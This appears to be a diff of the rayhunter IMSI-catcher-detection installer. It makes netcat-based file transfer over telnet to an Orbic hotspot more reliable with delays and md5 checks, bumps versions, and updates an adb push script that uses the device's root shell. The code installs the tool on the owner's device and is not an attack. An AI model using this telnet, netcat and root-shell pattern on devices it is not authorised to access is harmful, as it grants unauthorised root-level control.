let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||
if !output.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {output}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -83,17 +92,18 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
echo!("Sending file {filename} ... ");
|
||||
{
|
||||
let nc_output = {
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(
|
||||
telnet_send_command_with_output(
|
||||
addr,
|
||||
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||
"",
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await
|
||||
});
|
||||
// wait for nc to become available. if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
@@ -101,11 +111,22 @@ pub async fn telnet_send_file(
|
||||
{
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
// ensure that stream is dropped before we wait for nc to terminate!
|
||||
|
||||
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||
// terminating the connection. if we terminate the connection while there is unflushed
|
||||
// data, that data will just not be written from nc's buffer into OS disk buffer. the
|
||||
// symptom is mismatched md5 hashes.
|
||||
//
|
||||
// this is NOT fixed by calling fsync or similar, we're talking about dropped
|
||||
// application buffers here.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
// ensure that stream is dropped before we wait for nc to terminate.
|
||||
}
|
||||
|
||||
handle.await??;
|
||||
}
|
||||
handle.await??
|
||||
};
|
||||
|
||||
let checksum = md5::compute(payload);
|
||||
telnet_send_command(
|
||||
addr,
|
||||
@@ -113,7 +134,15 @@ pub async fn telnet_send_file(
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
.await
|
||||
.with_context(|| {
|
||||
format!(
|
||||
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
|
||||
nc_output.trim(),
|
||||
checksum
|
||||
)
|
||||
})?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
@@ -121,6 +150,7 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("ok");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
pushd daemon/web
|
||||
npm run build
|
||||
popd
|
||||
cargo build --profile firmware-devel --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
|
||||
cargo build-daemon-firmware-devel
|
||||
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||
adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \
|
||||
/data/rayhunter/rayhunter-daemon
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rootshell"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "telcom-parser"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
Reference in New Issue
Block a user